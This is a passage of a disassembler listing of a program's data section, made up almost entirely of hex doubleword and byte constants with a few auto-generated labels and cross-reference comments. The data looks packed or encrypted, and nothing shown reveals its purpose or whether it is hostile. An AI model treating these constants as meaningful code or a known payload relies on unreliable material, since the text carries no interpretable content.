0DBF9896Dh dd 6112414Eh, 24352100h, 3FD9ED0Dh, 0EA100CEh, 88B15B54h dd 0E67971A0h, 0A7EF4E00h, 0B303FDFCh, 2CBB01DEh, 9D22E792h dd 0A9BF09Eh, 67B78601h, 235E4BC5h, 1FC037F0h, 787CC43h dd 5009F0A0h, 924A4681h, 9CE47A01h, 12C28F37h, 0DB6B5084h dd 5A298360h, 4ABC3588h, 0C0FD5907h, 7DD0C9CCh, 4825440Fh dd 1900307Bh, 0CBF27E77h, 73039D2Ah, 8DD54C9Ah, 214E9837h dd 3B1EA3Ah, 0A470A7A3h, 81F8C434h, 9C004FE9h, 29A9C557h dd 0EAD15F8h, 0B2350373h, 0D68BCA0h, 0F7092580h db 23h byte_535449 db 0A1h, 90h, 10h ; DATA XREF: ___:00444CC4o dd 0E1DF538h, 28C7F16h, 9D87DDC0h, 24021938h, 0F04AE976h dd 0BD35E04Fh, 81EF00B2h, 0D32F4088h, 3A0167D9h, 0DD50E53Eh dd 0D230B951h, 54BC90C5h, 255983Fh, 0F581BC5Bh, 0C6E0E222h dd 0EB0071E9h, 87C7D593h, 0AA399Ah, 0F49E7710h, 6411B345h dd 840AE500h, 5854F074h, 0C6BE0050h, 0B86366CEh, 2100A683h dd 92CD2029h, 7389B2Ch, 0A9173E8Ch, 8A08F11h, 72247357h dd 856DB32Eh, 0CA011300h, 3A7AD118h, 3380347Eh, 1ADBCB2Ah dd 77134385h, 3C005D37h, 9D2B239h, 0DD88003Eh, 76585566h dd 0D4007AE8h, 0C0B49705h, 0B60D26h, 817BAD18h, 106C0353h dd 88A85A00h, 4712BA8Dh, 0C3A60056h, 0C9B10A1Ch, 0EF001AD2h dd 63C569AEh, 8FC266h, 0E11DFEC0h, 0EB9C210Bh, 77DF9524h dd 876E2B00h, 0C0AAEFADh, 0B5E2E4D1h, 0CE001C9Bh, 6D3738BFh dd 7D49ACDh db 64h aCZ@K db 'Ä–',27h,'§»@:[Š',0 ; DATA XREF: ___:004447D4o db 0DBh dd 1031571Dh, 0F0BB2F82h, 0F2A904B1h, 80C2FD5Ch, 74BE34E0h dd 0A496A301h, 24ACF193h, 72652860h, 0D4ED1DB2h, 80E05EE4h dd 42CD9BE8h, 23078A59h, 0C26C0293h, 4BC8FF50h, 3AD6E29Fh dd 14827391h, 0B9852F5Bh, 0B8002844h, 5F8D18F2h, 0DB049Ch dd 24D5C3D3h, 628755CFh, 2F977501h, 0F111EC05h, 37916D4h dd 0DE2537B1h, 4871E1FCh, 0A4B63028h, 0D9004BEEh, 9322C360h dd 78B3BFCh, 46F0484Dh, 0E0D4C7DCh, 7CB87E34h, 7BE30912h dd 0C66D7030h, 8900Ah, 98AE769Bh, 27DECF0Eh, 0E9009BB8h dd 0C1615AA8h, 28A9D644h, 3BB4CCBDh, 0DE8273D4h, 0F9DF5E33h dd 59E9FAE0h, 0A275CF1Fh, 89901081h, 5BC8BD35h, 128226F5h dd 0C3459CB4h, 0AEF12702h, 0E93DA800h, 0C6F696DCh, 2C2B095Ah dd 30A282EAh, 9740A0C5h, 8800FF84h, 307E96A2h, 14FBFB3h dd 2851670h, 0C84CAB5Bh, 6A3F8FDDh, 97E916DCh, 3633800h dd 0BA6BACh, 54F779DAh, 1A07380Eh, 0E4A6EB02h, 833024CDh dd 0C8AEF58Ch, 482C0EDh, 0CC9DE78Ch, 0D3309007h, 2F004633h dd 606BBCB0h, 16978h, 6850E2E3h, 75774F7Eh, 5C92372Ch dd 4040B916h, 148CF4E6h, 0DB330089h, 5A0F410Ch, 1D07C664h dd 872ACC11h, 0CEA51EB0h, 92501B7h, 1033B31Fh, 0D80BF5D9h dd 0D4004175h, 9E2AA242h, 26E552h, 0C8D26D1Eh, 7E3BA3A9h dd 3749E200h, 0C9DDF0CDh, 73F23F17h, 2EECB883h, 76EB1490h dd 8C751BC8h, 95FC8200h, 0E26BF88Dh, 16780199h, 5ACB43F9h dd 0E883C033h, 531D3C00h, 0AA5F75CDh, 7C30020h, 2410042Fh dd 8800EB6Dh, 0C1EE7FBBh, 7C798782h, 0E5AE3CC8h, 7708DB80h dd 0D407B50Bh, 0D9B9700h, 0FA93424Fh, 9DFEB9h, 351091ECh dd 0AC8D383h, 5AAD1900h, 0E30D9086h, 585CFF99h, 0F67AB9h dd 0EB8B2C18h, 8F5D9C5Eh, 0E7DFCB03h, 0F0546977h, 460B0Eh dd 0F3D67107h, 0CC3AFDDAh, 14E8300h, 5308908Ah, 0B0DD3E52h dd 2D7DF200h, 0C58E0D0h, 2CB14F12h, 0EF00A31Eh, 36879641h dd 44090076h, 356CBBB0h, 0BD0067D1h, 0A69293C7h, 378630Fh dd 1172BCB2h, 46BBFD94h, 0FC8CDCC8h, 96F8CC13h, 12AB9300h dd 0A418B70h, 34B50F1Bh, 8ACA0EECh, 2BEAF0A0h, 100C083h dd 9A21C74Eh, 1A6858h, 54718E24h, 3DBD8FA6h, 0A1CF8900h dd 0B8EEA07Eh, 1FACA6E4h, 472367F4h, 80FBA825h, 5386A21h dd 0D6072D00h, 3B962489h, 8AE0F9B3h, 7CAB7B35h, 795B0304h dd 3DD23A3Eh, 52AF7000h, 1D6821A3h, 0E4B20072h, 7E0D669Dh dd 0CD300E71h, 42E5109Fh, 0C1F000AEh, 0FED25E8Bh, 79002CDDh dd 0C4EB0DEDh, 58B353h, 0D8210C02h, 135F3466h, 9076351Fh dd 70A1880h, 108A369h, 0B6D32360h, 40AD4714h, 70E31078h dd 40893E00h, 5CE405B8h, 220E001Eh, 0CB0FCCA2h, 0B6245816h dd 0EE000494h, 13309A9Ch, 0D6AC0989h, 3403520Bh, 0FFB0023Bh dd 8C00F1C6h, 101FFD81h, 0A7D507h, 0D324E87Ah, 0F7A36815h dd 4F0128A6h, 4BDD4DCEh, 9C408AC0h, 9088F68Dh, 0C7B00168h dd 532B5DF1h, 7D6427BAh, 0E49A9E15h, 4C7043A4h, 712B0A48h dd 1628B063h, 0D549B00h, 0E5331A4Dh, 0C190016h, 4BD22355h dd 0B875987Ah, 0DCAB5C05h, 0BC00BDD1h, 9F1083CAh, 0A2ED0075h dd 18DFFAC1h, 0A173DC3Eh, 0D1FC852Eh, 62C71A00h, 50F440h dd 7A116896h, 5981E9A6h, 4FDDE0C2h, 0CD15E00Bh, 0A1C30279h dd 862A7F2Eh, 0E0CC8E80h, 289AAAD6h, 80F8CF0Eh, 670077A7h dd 94BA0FCDh, 6B270270h, 0ED249B11h, 100849Ch, 2226181Fh dd 5F2CEDh, 0A39588DFh, 0FB642D10h, 0AAEBBA01h, 70CE27C0h dd 0E05CC4h, 0A304C9F9h, 6458E349h, 2808453Eh, 4000E20Bh dd 0FC5B1F12h, 9C1C93h, 0EA547902h, 0D950587h, 18708900h dd 0CDBC0B01h, 794B0EBAh, 0BB404EAAh, 0BF93D3EEh, 7F07E800h dd 0AB0DC191h, 6F40001Bh, 8D9A9FC8h, 409525D6h, 6D988Fh dd 3B2FCD8Ch, 3DF6B790h, 0A006AF6h, 0FA3634FDh, 0C09FE599h dd 78067D60h, 0BE0065CEh, 9D4CB27Fh, 76E4BA7h, 90EB2742h dd 0AE8FF044h, 0F80F6A96h, 0B60BFF1Ch, 437D0400h, 0B842B219h dd 140007Fh, 0F5837E78h, 8F030B2Dh, 2BB9CC03h, 9AA9B01Ch dd 821E0027h, 0F9F88662h, 0AC03D028h, 0C06F613Bh, 0C5CAA829h dd 4D17004Fh, 74ABF584h, 0DA00308Ah, 560B16FAh, 0D97251h dd 0F5C3252Fh, 89EE03E7h, 4CA58803h, 0A0DB6DA9h, 7F4FEB35h dd 0C71606BFh, 0E8EDA8B5h, 0FFA5BD00h, 0A9969A7Ch, 0AF720105h dd 5BC36F93h, 0E671602Bh, 0DC09F007h, 0C0CEC87Dh, 70B0E582h dd 8FB30E5Dh, 0EE832C74h, 1E9817B9h, 50050B1Bh, 0FF5613B2h dd 57AE92C0h, 4D9B0018h, 0BA464F28h, 4800BE7Fh, 2F4737BDh dd 1D569840h, 0C094E0F5h, 0C82D610Ch, 36007981h, 0ABB61307h dd 0F3B78417h, 0AD77AFC3h, 34C9883h, 86993C0h, 85D8DC01h dd 74031CF9h, 0EB15EC25h, 66B2D8B4h, 84400090h, 1645587Dh dd 0A90C1ACFh, 30A6C3F1h, 11AF0047h, 8EB0CE92h, 66488C2Ch dd 0FAC60273h, 0C0F1FDEDh, 0E91C8BA5h, 9F0C0822h, 741C204h dd 2F9AA01Fh, 0D8ACA7FEh, 1E2E038h, 0E3EE8FF8h, 306C7B0Eh dd 8B03E4F1h, 0AA6D2CDBh, 0C1ED8027h, 0CFC00A5h, 8FE6D776h dd 7006E35h, 88AEF05Ch, 34DD60h, 0C709F29Dh, 0FF2B2604h dd 97F84760h, 0EA7D98Eh, 0B28C7FECh, 7322DFE0h, 3207E6EEh dd 0BF09914Eh, 0E172C470h, 7C4602D4h, 0EAB80EC8h, 3F7ECC90h dd 476A810Ah, 0A21FAC03h, 0F7094112h, 0E2A40392h, 0A445E0D4h dd 49EF3911h, 56797800h, 72C9BC6Ch, 14F0C100h, 0D16D8D0Ah dd 47410092h, 0C67D6902h, 741CCF22h, 20809304h, 1CD67BA1h dd 26331ECCh, 0A00F407Fh, 327E97F1h, 2DC59000h, 17C69BE1h dd 0FF550086h, 3BD5A179h, 8700672Bh, 0B403410Ah, 60EA0539h dd 9B771CB1h, 40057D4h, 0D0781EA7h, 538F94h, 0AA3213Fh dd 3026E673h, 5C01587Bh, 7F671681h, 0E3E44CBBh, 526300C7h dd 19B44349h, 0B904624Eh, 0D2DB3669h, 379C0FBh, 0F41D1BE1h dd 5E003426h, 46E0EE92h, 0E9A90031h, 0B5627121h, 60C904DBh dd 42FC17h, 0E0804A6Bh, 0B4F87F1Fh, 0D399C02h, 0C0A269BDh dd 3A226E4Dh, 4DB05152h, 886C3250h, 2D1EFAE4h, 0A2C0081Fh dd 95AD06B6h, 0B7643D7Fh, 0D36A4300h, 86FB5A70h, 1946CC00h dd 0F7541205h, 58C6753Eh, 513D486Dh, 91A29D80h, 9E17A183h dd 0D7EA2800h, 4562FACCh, 66AA14BAh, 0DD1E3CFBh, 3425424Ch dd 0C7C027FAh, 2D0E3D0Ah, 11C7F77h, 66616B71h, 920F8080h dd 0AD397AB7h, 0CF1B8AF0h, 82E885FAh, 76F2C0D3h, 2C440060h dd 9D2E716Bh, 0E00386CDh, 9E3BD40Ah, 0E7ACE0E6h, 1E63B06Eh dd 409F35F5h, 4C1CAA3Ah, 6400B89Eh, 5053B426h, 860379h dd 2E384A0Dh, 4C974B10h, 0A3C5621Eh, 63EE3342h, 51D0A00Eh dd 769A7996h, 0E8FA0089h, 2E6D3FBh, 28E84FA1h, 699E403h dd 0F85CE2C4h, 0A04BD101h, 0C979D8h, 9333522h, 0C639A8F9h dd 6EDFB200h, 0F4F57C84h, 8DC0072Bh, 30E8C2A0h, 0AA410BE1h dd 0FB497800h, 0DD22B340h, 5DAB4869h, 0C84BE00h, 0FECF2C17h dd 0F2F59000h, 38CC9765h, 3C40A071h, 0F3780356h, 3593BB2Fh dd 643E8800h, 2BEEA615h, 44F0E7C3h, 0CC553C91h, 62312E80h dd 0ECF7D09Bh, 27AE6400h, 0E3A0FFB2h, 84FCF1h, 0F9F5577Bh dd 2C32B7ADh, 79D4ECFBh, 111F6F00h, 0FF2ADD09h, 908A1483h dd 7CC499h, 0DFAA379Dh dd 74CE8F3Ch, 161B4700h, 0F35D7DE9h, 0AC710080h, 46FCD739h dd 7500723Bh, 0F5E1E860h, 6EE5C5h, 7F2BA2E7h, 0D7942A81h dd 0DF707650h, 0A42FE600h, 9D657C5Ah, 19404C9h, 9063A9ACh dd 55E4A764h, 8B05A300h, 6DD02128h, 52DE077Dh, 6751B34Dh dd 0E6F1608Eh, 0B60FEE81h, 0A0FF09B1h, 4777D3C1h, 301500DCh dd 0CBE9E51Dh, 0B8026A65h, 5DC479BFh, 6D084963h, 5CF59ECh dd 3BAE604Bh, 0E9ACC0A9h, 84003F42h, 0E8D3477Ah, 0FE136DFh dd 8C39F597h, 0DB30B0BEh, 5400BAF4h, 22D6BF03h, 6D7905h dd 8CA9F745h, 2C01EF31h, 12FB5600h, 3920A399h, 0DEE302EDh dd 22033B71h, 0C074BC88h, 95CAE71Dh, 0F4445201h, 0A1BCD223h dd 0AC9820h, 0E658C355h, 0F3FAB2D7h, 9A3C8F00h, 8E98516h dd 0E3631F18h, 47DC8E6Bh, 0A4209F89h, 4ACB8B6Ch, 0BF4816F0h dd 1DCD1B0h, 0D6A61A31h, 0F0802B72h, 55AB3FC6h, 0E076C70h dd 267781Fh, 0DFC39640h, 0FC54E947h, 0E4DE2C30h, 25F8A0AAh dd 0BD54004Dh, 0F4D3B0B2h, 56015C8Bh, 896FEA32h, 0E8817EDDh dd 4F86FA33h, 3B082092h, 49E3D80Bh, 0B3B801B5h, 28C977EDh dd 462824h, 0F0E8CEFAh, 0B41CD88Bh, 5C875600h, 6E3E70D2h dd 0A7D1078Eh, 82596C82h, 0E9C3421Ah, 0FC4763A1h, 8B0004BEh dd 0A90BDA35h, 706572C2h, 10B916EFh, 0C4A701EDh, 0DCD2ACE5h dd 0AA003CE6h, 6A6F5A2h, 24F36203h, 27CD393h, 78A3BECDh dd 8155B468h, 0C04C3626h, 85C14487h, 571A450h, 863926B5h dd 5C72834Ch, 1DD88F43h, 5B004918h, 88389C8Ah, 24B9121Eh dd 9FAC080Ch, 0CA419FB8h, 81F8BED5h, 1E3B30D9h, 50C026E6h dd 0A7001F39h, 9A252D7Bh, 4C6582ABh, 6B1F1010h, 80FBDF13h dd 574C740Ch, 8C3AA8E7h, 1A68807Eh, 0A30AC9F3h, 2FDE002Dh dd 0DCBFD177h, 98488618h, 1DD981CCh, 82F04534h, 942D0042h dd 0BAB9C81Eh, 4F046CCBh, 5E020FB0h, 0D2DA50C1h, 0F61FD822h dd 7A6F8260h, 0C9408A36h, 880EBD66h, 0FB4C4Bh, 9DB958B1h dd 404790Bh, 0C046A8DCh, 25348801h, 0DE92770Bh, 0FA805D1Ah dd 827F81FCh, 0A3486B00h, 857E60C0h, 0D8DA00CAh, 730E4BECh dd 2905C91Bh, 0BA941C9Eh, 0F2F02490h, 0F4FD093Fh, 200168DEh dd 0E58EBCE2h, 0A9FA7141h, 8D80B852h, 9EE8C1A5h, 497D1C30h dd 823B1EF9h, 24FB3931h, 0D4993840h, 27009578h, 7F3A71A0h dd 8AFDADh, 4E67D0A6h, 54A2427Ah, 60937C26h, 3DA47800h dd 9A0531h, 7294AF50h, 5BC8DCB6h, 438148B1h, 0F6A20F6Ch dd 6B88C8DEh, 36AF07D4h, 20AE50BAh, 0C4EC8C3h, 74908E29h dd 66DA3900h, 60052DD1h, 7D2E4936h, 140AE472h, 0C4A93F99h dd 658550ACh, 143063BDh, 92B501C1h, 0DFEE0058h, 4D1F3948h dd 0FA0210A7h, 0FEB06C12h, 553E404Ah, 0BA610057h, 9B1AFD49h dd 964CA315h, 13B0330h, 0F8D80D44h, 0E6C807D1h, 0CA8D0063h dd 7C7A0868h, 0E0151C2h, 46237904h, 3074D835h, 0FD21005Ch dd 0EA14D673h, 0AE1C8939h, 8A688A1Ch, 4135E901h, 8ED19E21h dd 97A420h, 0AEFDDA99h, 44C2B113h, 0DB00F890h, 0A64A8094h dd 1FAC773h, 379B7DA0h, 30D5857Ch, 1E38B4DAh, 0F5FD85EEh dd 8DC5AE2h, 7B2700F4h, 2E65833Bh, 0C002D148h, 28B49CD6h dd 0FF004012h, 32A00349h, 5E5D63BCh, 626100CFh, 6A0EF65Ah dd 0F5484E6h, 0ED8EC0E7h, 98E1A48Fh, 4B1712CDh, 10D800D2h dd 3795E76Ah, 9E7DE400h, 1DB4CD0h, 1ABB1F86h, 85FD1F62h dd 0C06806E0h, 34F277BAh, 9BE41404h, 44CE990Bh, 2744C700h dd 18D19AAFh, 80F46B4Ch, 4F2908CCh, 0F4543CF2h, 2A0E9048h dd 0D008AB9h, 0DA19214Eh, 2E155E03h, 80CAD4A8h, 11EF92Dh dd 990A9BBEh, 201FC69Dh, 0B6011787h, 98E1E377h, 40C49750h dd 0CB6C0573h, 402CFADBh, 60D3C620h, 8A00D79Ah, 6E6F1736h dd 342EF07h, 0FE0244F1h, 39025F3Eh, 3152F34Fh, 613DC0A8h dd 0CDBD0ED1h, 53A0B097h, 85261976h, 64658F00h, 0E37C28CAh dd 89610072h, 508E1F0Ch, 48033557h, 7EEA7302h, 227C900Fh dd 6905006Dh, 0FA93CCA2h, 6C7306D5h, 0BD028103h, 1DC15BF1h dd 409ED086h, 1831BF7Dh, 0DD7B965Eh, 0E08C0207h, 8E3321E1h dd 0F9FCA079h, 0D22B0032h, 0FF57AD27h, 8807E284h, 3DFD0750h dd 0FBA1F30h, 9A9839h, 0C5EE6982h, 0EB7D0D8Ch, 90C91803h dd 0C8761181h, 70CC2E3Fh, 649B0AC2h, 8068E23Eh, 5EEBD169h dd 10C13AC9h, 19461B81h, 2A9CF4h, 3EC7C47Bh, 0EFEE7F0Eh dd 9968C800h, 90A023E6h, 31120F55h, 93207ADBh, 0E8B56CAFh dd 3606FA00h, 0EC2C6B44h, 0A790087h, 0BE467063h, 0FD00C5D4h dd 945CB014h, 0EE34D73h, 6C969EDAh, 0B69A2Ah, 374105A5h dd 31015FECh, 3B5CF244h, 48D47985h, 84A7032Fh, 3E2B0C4Bh dd 3228BC88h, 72786D1Fh, 0E4FCFh, 77A5FD10h, 0FAC90013h dd 3ADFE70Fh, 4700437Ch, 550C50B4h, 722509C4h, 0E82724F8h dd 69583007h, 0EA00F004h, 0AEAA2893h, 1DFDD7h, 58EFA583h dd 0F429BBD1h, 9E74A002h, 6064D21Ah, 1C092ACh, 0DB79F159h dd 809A1173h, 9C3A9399h, 1BF6F39h, 3103B75h, 0E82CD7F5h dd 0B75CC21Ch, 0B5740046h, 79BB149Ch, 21D01EA4h, 1CDDAE91h dd 3909800Eh, 4EAA34CBh, 20FE40CEh, 9FBAA489h, 0CC5A012Bh dd 0A56BCDA7h, 7B2E6020h, 8E6DCE00h, 3EE43F38h, 0D2B900FDh dd 5C922BB0h, 0EA0054F7h, 0C2625567h, 7CFB15h, 64D9BB0Ch dd 443239E8h, 3F03C8E2h, 0F29C5373h, 0D8F6F04Ah, 344F0016h dd 1A072E2Dh, 64EE7B19h, 0B8E9D0h, 6FC40A1Bh, 41CBCAh dd 0DC361CCFh, 0ADE55DE9h, 46F2801Ch, 0BBB28E83h, 12F4B0D1h dd 0EF690790h, 0F0A0B355h, 0B98DA939h, 0BAF50E05h, 0CFBF258h dd 0DC7825C5h, 0EACFA10Fh, 2388A0CDh, 831B5Bh, 2FB2EFC7h dd 0ECF78706h, 4B00AEF8h, 8EDA0765h, 0EECEBF4Ah, 0B9E0031h dd 4D01BEABh, 0C00067B5h, 3E1F5DCBh, 0E6262115h, 1E123BFEh dd 0BC8C8F00h, 993F3B39h, 6BA11C00h, 725DCF0h, 27F43Dh dd 0B5F71612h, 0B9B167C4h, 43E2A300h, 2A98FBE5h, 0D95900F4h dd 0B43DA57Ch, 0E60139C1h, 0BE8B8549h, 0E8DB0DECh, 38CA9E4Ah dd 0B0001153h, 88B98F60h, 7E03C124h, 0F80915C3h, 0DF66F8B5h dd 5A471C32h, 0BA1801Ah, 0A23D9A7Fh, 5E790501h, 41500D17h dd 186E2BF8h, 684F1D62h, 31F37AEh, 0F740C5CFh, 0A3F8307Eh dd 5859034Ah, 0B4E7422Eh, 0ADEE50A0h, 0F06A3F00h, 0B2669675h dd 14970089h, 0D4395DE8h, 2500E381h, 0D3C46159h, 0F54A2Ah dd 90B0653Bh, 8899CE09h, 0B12F7800h, 0B25492C9h, 6C6B00C0h dd 3CD1CD0Ch, 50009BC4h, 39A8D995h, 5AA04A2h, 3A4ED546h dd 19C0FE73h, 5861DBD8h, 2E00B2E6h, 7CF239B4h, 330092A7h dd 18FD8467h, 6532822h, 77058EDEh, 0A83A183Eh, 0D9A600D1h dd 9A15BF6Ch, 0D87182h, 34F0739Fh, 5442C506h, 83005CF8h dd 0B25D5918h, 0CCB3356h, 0E8373B91h, 0F5022488h, 0B0A30675h dd 84604164h, 9F03D840h, 0E6D50E18h, 2C406CECh, 0B9B2CE50h dd 33EEE298h, 0E52E6100h, 72193949h, 9428574Fh, 43C19401h dd 0D0AC1764h, 6001A907h, 0EBCB2FE2h, 40481B0Dh, 89D60FC9h dd 0F803EE98h, 0C2D00AD4h, 67002374h, 2D3FFF5Dh, 699650h dd 3D1F9153h, 0E5EA7781h, 28CE860Ah, 9400AE45h, 598BCD16h dd 98B314A1h, 881E8083h, 0AB5B40EDh, 0A3F61004h, 0E9A06263h dd 13CC1CFDh, 34074752h dd 699F103Ch, 4C0A50CAh, 0DC1DF96Fh, 602A108Eh, 0FB91FD8Bh dd 5D5F3D7h, 256B5F4h, 0E36D82BEh, 0C9C3A46Ah, 138496F8h dd 77AB3E00h, 4521E464h, 0FB370097h, 565E8A99h, 28E287BBh dd 68C0F800h, 0CEF2B23Ah, 77C2E0F3h, 14990BBAh, 0FA003E5Ch dd 42A18D3Fh, 484EC700h, 549FA589h, 0BF990049h, 0E4412278h dd 4A0028D2h, 0CADDCE4Dh, 0E26866Eh, 0B6B0F538h, 0B5975E60h dd 7707E5C9h, 0F487A9EEh, 73050577h, 0C00AB5C3h, 1F5A586h dd 51066C5Ch, 820B3E2Dh, 0D6D2C9E0h, 0F1E7E317h, 64C02ED1h dd 0E3190080h, 0AEE3534h, 770073A8h, 383F030Dh, 0F085309h dd 52EB79F7h, 0AAD2CC40h, 720C61BBh, 58127CADh, 704F66Dh dd 29287087h, 34930BAh, 47009B64h, 0A671F736h, 0AAB2B30h dd 28B57614h, 0AEA800FFh, 382A82B3h, 6581E200h, 3B207721h dd 2CC2E41Bh, 9141ECh, 5C17666Fh, 56008A55h, 0D1DDC89Ah dd 348AC08h, 19E3F0F7h, 70F77203h, 9597CBDEh, 75133E02h dd 906F2808h, 3A857A0h, 0A65C10F4h, 4DA8563Dh, 1F00907Dh dd 2D14CBA0h, 2CF4707Fh, 0EC8D22h, 161554C9h, 480005B2h dd 0A4C20391h, 54D1779h, 4DC32ABh, 6490003Fh, 95B45F54h dd 0EB1494ECh, 803D3Bh, 0C1D81D19h, 1477314h, 0CBFFAA07h dd 92F8B443h, 0BE003E61h, 12B7AF2Bh, 31CE006Fh, 1904A00Fh dd 4F0191CAh, 4450CBEFh, 0CA405585h, 0F6511F53h, 0B67AD2h dd 0BBA377DDh, 5FCE2AD6h, 0A1575803h, 80C9D162h, 43630Ch dd 2DBB4182h, 1189C61h, 2CDAA103h, 0E934DDF5h, 1820F6E9h dd 0B5910635h, 0F0A33827h, 0F21C39h, 640B3397h, 9A2877h dd 585C4DCBh, 7099AE46h, 0EB43BD00h, 0B8303B9Fh, 36A2248Bh dd 0CF470B08h, 4300DCF4h, 2655EEB3h, 0F16112ADh, 5E740058h dd 0A2EB530Fh, 3A1A1D0Fh, 0DA127CC6h, 0F0F58002h, 70DD800Dh dd 90A71Eh, 0C019C6D7h, 0EBA38A48h, 0CAAF3D01h, 7E72B45Eh dd 4C52E8h, 0D4C43977h, 0F2D3B8A6h, 108880E1h, 421778FCh dd 58A045Ch, 80706EF1h, 777665B0h, 0E0909829h, 24425E40h dd 1BD600ABh, 0B7481229h, 9C90A4C3h, 1691E400h, 0F2C44084h dd 65F4B6h, 25A11BDDh, 0B57E69B8h, 18A23224h, 4D0A9A81h dd 0C02604E8h, 88F0D39h, 0E2006DD9h, 56C8FB3Ch, 3B822C0Eh dd 39BF6759h, 0C9F7ED70h, 2508052Fh, 47934ACBh, 10D5F1FCh dd 3255DE3Fh, 63A13Ah, 0AF26B2A4h, 0EB0B78h, 0F8F9E54Ah dd 201314DFh, 0FF998803h, 0E31844h, 37076218h, 82D0BFC4h dd 2DF1E800h, 3349C1A8h, 71EA8Ah, 0C3A063B1h, 0A4AFA5D1h dd 1EBCDCE1h, 807F143Bh, 3D17A88Dh, 905876h, 813F32C0h dd 0A5517E28h, 99B1680Fh, 0AFF44111h, 9ADC40D2h, 33471863h dd 0B22C30D1h, 15005075h, 5203D4A0h, 59E2BEh, 4E48C11Ah dd 7E3C39C6h, 0C4C32C0Ch, 0F27188Ah, 55FA22C7h, 0A0DF0E21h dd 0C0D1F868h, 144256h, 0CA2F7F96h, 0A55874h, 18D9DE9h dd 9E14E05Ah, 0BD1E4E00h, 9670D1B0h, 0B10D042Dh, 80C258B6h dd 615FEA6Dh, 154ECD1Dh, 4B6FB171h, 0F0D7F4h, 8A9192F7h dd 2EAF6A49h, 0BAD6A502h, 60C183CDh, 3869E0h, 152B9B74h dd 539FC750h, 5F612000h, 2D90601Eh, 367C00F0h, 33E39DF4h dd 0DA00B357h, 0FD02D161h, 0C9D934h, 0C1BC2893h, 0E2AE263Ah dd 8EA9DB00h, 0AAD0D8A0h, 333E066h, 417CDF17h, 1CF99B30h dd 1E21A6h, 64FB87C8h, 9197BCA8h, 0E16BE703h, 24F9BDh dd 39C42638h, 2F3BD7A6h, 530060A5h, 0A4C49FF3h, 88BD07E0h dd 0E0447B54h, 0BE5E74Dh, 43CD5201h, 0D0A8EAC8h, 0F29048D8h dd 1C46EC19h, 0C0DD5B6Eh, 8EB63E01h, 0EF0008ECh, 72CBBD9Bh dd 181AAEh, 60E47CC5h, 445DADD3h, 96495F01h, 43D8E281h dd 1EC62C5h, 8F563E52h, 6CEDE580h, 2DD431A1h, 0A4CA8D00h dd 79E9215Eh, 74D600E6h, 0C8776575h, 7300B735h, 0B26E8139h dd 0F6AA0BB3h, 1CDE0E20h, 8008BE77h, 0F69DC500h, 3C23CEFh dd 0CFA41346h, 0C0A19282h, 0DC7DC52Eh, 0C004C59h, 8DBB02D9h dd 2FAD27h, 0C875062Ah, 0CE8910BAh, 7F4181Ch, 81E39B80h dd 166BD18Dh, 957793h, 0C48EFC0Eh, 0E50048D6h, 0C1863F45h dd 599F76Ch, 87C63706h, 9D34C0D9h, 74004667h, 8123EEA6h dd 989A6520h, 5B380FE9h, 47E0EA14h, 5CA9F261h, 0FC35D400h dd 0CB19D2DDh, 0DEFCA05Bh, 0EA1F00D7h, 0AF9848Ch, 6F00134Fh dd 7389D0C9h, 0ADF1B1h, 5F63DD34h, 5B5C72BCh, 0F4C11F01h dd 0B09D2E36h, 0EFB6D8h, 758FD38h, 0B2F61DCBh, 0C0A0C912h dd 1C63E803h, 55C80047h, 0FE7512A3h, 0ED005039h, 0FB4F9532h dd 1E377274h, 8F3C908Eh, 0E701890Eh, 40A0A6AFh, 199AC6A0h dd 93F01800h, 0B1ACDD48h, 347B07CCh, 502A7755h, 0C743870Eh dd 1A22B300h, 365DF9FCh, 771EA26h, 41A71C05h, 807F2784h dd 4DF567A4h, 0B6D8500h, 1F8F9CFDh, 9BA00EFh, 0FC594C3Fh dd 0A7005556h, 0B5370BD2h, 6AF9EDh, 6DC8BD6Ch, 1D13D467h dd 8952230Dh, 8CFD78E1h, 0F424F440h, 98356079h, 0FCF1A292h dd 0BB57F303h, 26F05E53h, 39A02C8h, 398D8594h, 25FDF101h dd 867D4171h, 7909A670h, 77B11B49h, 6FC8205Dh, 0D2FD794h dd 9300E06Dh, 0D8793CB4h, 405CDF00h, 18D465DEh, 5495BC00h dd 0AD377F6Bh, 8C500DAh, 755E8C82h, 9E30CDD9h, 121AF06Ah dd 54B875A3h, 7068FC76h, 0D2B01E5Eh, 6F77CFDEh, 290C69C0h dd 8F031147h, 748D269Fh, 0D027B9A1h, 7A92BEF0h, 707E5004h dd 0CCA1D93h, 39998EE7h, 4EB91821h, 0BB793054h, 1A98B00Ch dd 1224607Dh, 15E3DA5h, 5F6E1C24h, 0D0C8DDD0h, 0EE50B2CDh dd 4892F8D8h, 0B77E9600h, 1C878CE9h, 345A4802h, 646ACE80h dd 4400C569h, 774EDEE4h, 51078643h, 7B30CCE2h, 6A3A586Eh dd 0C5FF4500h, 0CF372A2h, 0A994501Ch, 67F1D140h, 302D5DFh dd 8C98BA34h, 0E5B1B9B0h, 20F3DD25h, 900539D8h, 285DECDBh dd 5B79C800h, 486F3194h, 0C3807C5Ch, 0B43570C6h, 0E4E1200h dd 0D1F39299h, 5DE639DAh, 0E01F453Eh, 0F8F04F53h, 2F80B56Eh dd 954AE87Dh, 0E2A74800h, 32089D3Eh, 0F2BA006Dh, 8AFE6961h dd 0CA009486h, 5868ADEAh, 0F17B5Fh, 0DF4285AFh, 0D6741882h dd 4EA393Bh, 75C75DBh, 0CA844080h, 3B8D3E83h, 0B00BD503h dd 31909525h, 2E7EB5ADh, 8048790Fh, 0C996A314h, 54F0E135h dd 17C49CC4h, 9FE587h, 6AB42E59h, 0F1141CB0h, 88888Bh dd 28FECF62h, 1EB2E8E5h, 80A93E19h, 0DB1D7EFDh, 2E008D87h dd 3C7C1779h, 4B5321Ah, 9CB791B9h, 0D3FC090h, 0D70FEFFCh dd 0A0DA222Bh, 6C081DD3h, 3C710062h, 10D6998Bh, 0B9005A84h dd 0D7CCA548h, 0F9690Fh, 89C4BAE1h, 0DF32D4F7h, 2E7CE00h dd 0BC60CB1Dh, 384006Eh, 4940BD34h, 0BE008942h, 7F25F82Eh dd 1F46BFB7h, 70100B32h, 0F9FDFE88h, 5D93C00h, 293EB820h dd 8E2100DAh, 0AB657F99h, 4F003634h, 0A9037602h, 3DB51B4h dd 0E7C04B8h, 0AC80083Dh, 0C400CD71h, 37994EFDh, 1F57F489h dd 0D65D56h, 0E4C31A77h, 0E03036C8h, 1C759058h, 60C20037h dd 5A8DA5B7h, 91003F98h, 0A20CD12Eh, 37B01854h, 70B0B27Bh dd 3FE3415Eh, 0B30B0F00h, 6A3BDF35h, 